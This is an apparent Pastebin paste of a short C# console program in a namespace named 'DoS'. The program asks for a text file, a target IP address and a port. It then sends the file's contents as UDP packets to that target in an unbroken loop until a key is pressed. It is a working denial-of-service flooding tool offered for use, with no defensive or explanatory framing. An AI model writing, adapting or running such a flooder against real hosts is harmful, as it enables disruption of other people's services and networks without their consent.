Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.IO;
- using System.Net;
- using System.Net.Sockets;
- namespace DoS
- {
- class MainClass
- {
- public static void Main (string[] args)
- {
- string ipadress;
- int port;
- string txtfile;
- string text;
- Socket client = new Socket (AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- Start:
- Console.Write ("Txt location: ");
- txtfile = Convert.ToString (Console.ReadLine ());
- if (File.Exists (txtfile)) {
- goto Continue;
- } else {
- Console.WriteLine("File not found\n");
- goto Start;
- }
- Continue:
- Console.Write ("Target IP Address: ");
- ipadress = Convert.ToString (Console.ReadLine ());
- Console.Write ("Target Port: ");
- port = Convert.ToInt32 (Console.ReadLine ());
- IPEndPoint ip_port = new IPEndPoint (IPAddress.Parse(ipadress), port);
- using (StreamReader sr = new StreamReader (txtfile))
- text = sr.ReadToEnd ();
- byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes (text);
- try {
- client.SendTo (packetData, ip_port);
- Console.WriteLine ("Sending UDP packets to " + ipadress + ":" + port + "\n>Press any key to stop!<");
- goto Send;
- }
- catch(Exception) {
- Console.WriteLine("Error sending packets.\n");
- goto Start;
- }
- Send:
- client.SendTo (packetData, ip_port);
- if (Console.KeyAvailable) {
- client.Shutdown (SocketShutdown.Send);
- Environment.Exit (0);
- }
- goto Send;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment